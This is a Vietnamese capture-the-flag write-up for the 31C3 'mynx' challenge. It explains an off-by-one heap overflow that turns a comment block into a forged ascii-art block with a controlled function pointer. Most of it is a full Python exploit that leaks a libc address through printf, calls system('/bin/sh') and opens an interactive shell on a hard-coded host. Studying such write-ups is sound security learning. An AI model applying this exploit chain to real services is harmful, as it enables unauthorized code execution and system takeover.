[Write up] 31C3 mynx

Đây là một bài khá hay, mình phải mấy mấy tiếng đồng hồ để phân tích code.

Đầu tiên chương trình tổ chức bộ nhớ, cấp phát như sau:

Cấp phát 1 vùng nhớ 0x1000 bytes đầu tiên, và set 4 byte kế tiếp là length <địa chỉ vùng nhớ><độ dài phần tử>(1)

Vùng nhớ 0x1000 bytes này được chia nhỏ ra 16 phần, 1 phần là 256 bytes.

Nếu vùng nhớ 0x1000 bytes này hết , chương trình sẽ tạo 1 vùng nhớ khác tiếp theo như (1)

Cấu trúc của một ascii art được phân bố như sau:

struct ascii_art{
     char tag; // tag của ascii_art có giá trị bằng 'I'
     int id;
     void (*filter)(char* content);
     char content[247];
};

Cấu trúc của một comment được phân bố như sau:

struct comment{
    char tag; // tag có giá trị bằng '7'
    int id;
    char content[251];
}

Xem xét đoạn mã sau:

Sau khi tạo 1 block comment, chương trình đọc vào vùng content với giá trị là 252 bytes (lố 1 byte) dựa vào đây mình sẽ khai thác được lỗi, ghi đè giá trị tag của block kế, biến block comment -> block ascii art, từ đó fake được filterfunc.

đoạn mã trên dùng để trigger bug khi biến block comment -> block ascii art

Các khai thác lỗi:

Tạo 1 block ascii art, tạo 2 block comment cho block ascii 1 , tạo block ascii art 2
+----------------------+
|  Ascii Block 1       |
+----------------------+
|  comment 1(1)        |
+----------------------+
|  comment 2(1)        |
+----------------------+
|  Ascii Block 2       |
+----------------------+

Xóa hết comment block 1, tạo lại comment cho block 1 và block 2, dùng comment block 2, overwrite giá trị tag của Ascii Block 2 thành comment, dùng comment block 1 để overwrite comment block 2 thì Ascii Block 2

+----------------------+
|  Ascii Block 1       |
+----------------------+
|  comment 1(1)        |
+----------------------+
|  comment 1(2)        |
+----------------------+
|  Ascii Block 2       |
+----------------------+

Trạng thái cần đạt được

+--------------------------------+
|  Ascii Block 1                 |
+--------------------------------+
|  comment 1(1)                  |
+--------------------------------+
|  comment 2(1),block 2 fake     |
+--------------------------------+
|  Ascii Block 2, comment 2 fake |
+--------------------------------+

Trigger bug và ta có

Do mình có thể control được filter_func và content, cho nên mình sẽ dùng printf và fmt để leak được địa chỉ __libc_main_start ở trên stack, từ đó tính được địa chỉ của hàm system

Payload:

import socket
from struct import *
import telnetlib

#+------------------+
#|	Ascii Block 1 	|
#+------------------+
#|	comment 1 		|
#+------------------+
#|	comment 2 		|
#+------------------+
#|	Ascii Block 2 	|
#+------------------+

def connect(host,port):
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.connect((host,port))
	return s

def add_ascii_block(s,block):
	s.send('1\n')
	s.recv(1024)
	s.recv(1024)
	s.send('1\n')
	s.recv(1024)
	s.send(block)

def add_comment_block(s,block):
	s.send('1\n')
	s.recv(1024)
	s.send(block)

def select_block_id(s,block_id):
	s.send('3\n') # select
	s.recv(1024)
	s.recv(1024)
	s.send(str(block_id) + '\n')
	s.recv(1024)
	s.recv(1024) # comment menu

def back_to_main_menu(s):
	s.recv(1024)
	s.recv(1024) # comment menu
	s.send('0\n') # back
	s.recv(1024) # main menu
	s.recv(1024)

def leak_mem(s):
	__libc_main = 0
	fmt = '%p'*22 + '%s'
	payload = pack('<I',0x8048420) # printf
	payload+= fmt + 'A'*(0xfb - 4 - len(fmt)) + '7'

	s.recv(1024) # banner
	s.recv(1024) # main menu
	add_ascii_block(s,'A'*0xf6 + '\n') # add ascii block
	s.recv(1024)
	s.recv(1024) # main menu
	select_block_id(s,1)
	add_comment_block(s,'C'*0xfb + '\n') # add comment of block 1
	s.recv(1024)
	s.recv(1024) # comment menu
	add_comment_block(s,'C'*0xfb + '\n') # add comment of block 1
	back_to_main_menu(s)
	add_ascii_block(s,'B'*0xf6 + '\n')
	s.recv(1024)
	s.recv(1024) # main menu
	select_block_id(s,1)
	s.send('2\n') # remove all comments of block 1
	s.recv(1024)
	s.recv(1024) # comment menu
	add_comment_block(s,'D'*0xfb + '\n') # add comment of block 1
	back_to_main_menu(s)
	# add comment to block 2, change ascii block 2 into comment block 2
	select_block_id(s,2)
	add_comment_block(s,payload)
	back_to_main_menu(s)
	select_block_id(s,1)
	# change 1st comment of block 2 into block 2
	s.send('2\n') # remove all comments of block 1
	s.recv(1024)
	s.recv(1024) # comment menu
	add_comment_block(s,'A'*0xfb + 'I') # mark that comment 1 of block 2 is block 2
	back_to_main_menu(s)
	select_block_id(s,2)
	s.send('3\n') # trigger bug
	d = s.recv(1024)
	if '\xf7' in d:
		index = d.index('\xf7')
		__libc_main = d[index - 3:index + 1]
		__libc_main = unpack('<I',__libc_main)[0]
	s.send('0\n') # back
	s.recv(1024) 
	s.recv(1024) # main menu
	return __libc_main

def exploit():
	s = connect('188.40.18.80',1234)
	__libc_main = leak_mem(s)
	offset = 149824 # Ubuntu 14.10

	if (__libc_main & 0xf7000000) == 0xf7000000:
		system_addr = __libc_main + offset

		cmd = '/bin/sh\x00'

		payload = pack('<I',system_addr)
		payload+= cmd + 'A'*(0xfb - 4 - len(cmd)) + '7'
		print '[!!!] System(): ',hex(system_addr)

		add_ascii_block(s,'A'*0xf6 + '\n') # add ascii block
		s.recv(1024)
		s.recv(1024) # main menu
		select_block_id(s,3)
		add_comment_block(s,'C'*0xfb + '\n') # add comment of block 1
		s.recv(1024)
		s.recv(1024) # comment menu
		add_comment_block(s,'C'*0xfb + '\n') # add comment of block 1
		back_to_main_menu(s)
		add_ascii_block(s,'B'*0xf6 + '\n')
		s.recv(1024)
		s.recv(1024) # main menu
		select_block_id(s,3)
		s.send('2\n') # remove all comments of block 1
		s.recv(1024)
		s.recv(1024) # comment menu
		add_comment_block(s,'D'*0xfb + '\n') # add comment of block 1
		back_to_main_menu(s)
		# add comment to block 2, change ascii block 2 into comment block 2
		select_block_id(s,4)
		add_comment_block(s,payload) # real payload
		back_to_main_menu(s)
		select_block_id(s,3)
		# change 1st comment of block 2 into block 2
		s.send('2\n') # remove all comments of block 1
		s.recv(1024)
		s.recv(1024) # comment menu
		add_comment_block(s,'A'*0xfb + 'I') # mark that comment 1 of block 2 is block 2
		back_to_main_menu(s)
		select_block_id(s,4)
		s.send('3\n') # trigger bug
		print '[!!!] Shell is comming'
		# interact socket with stdin,stdout
		t = telnetlib.Telnet()
		t.sock = s
		t.interact()

exploit()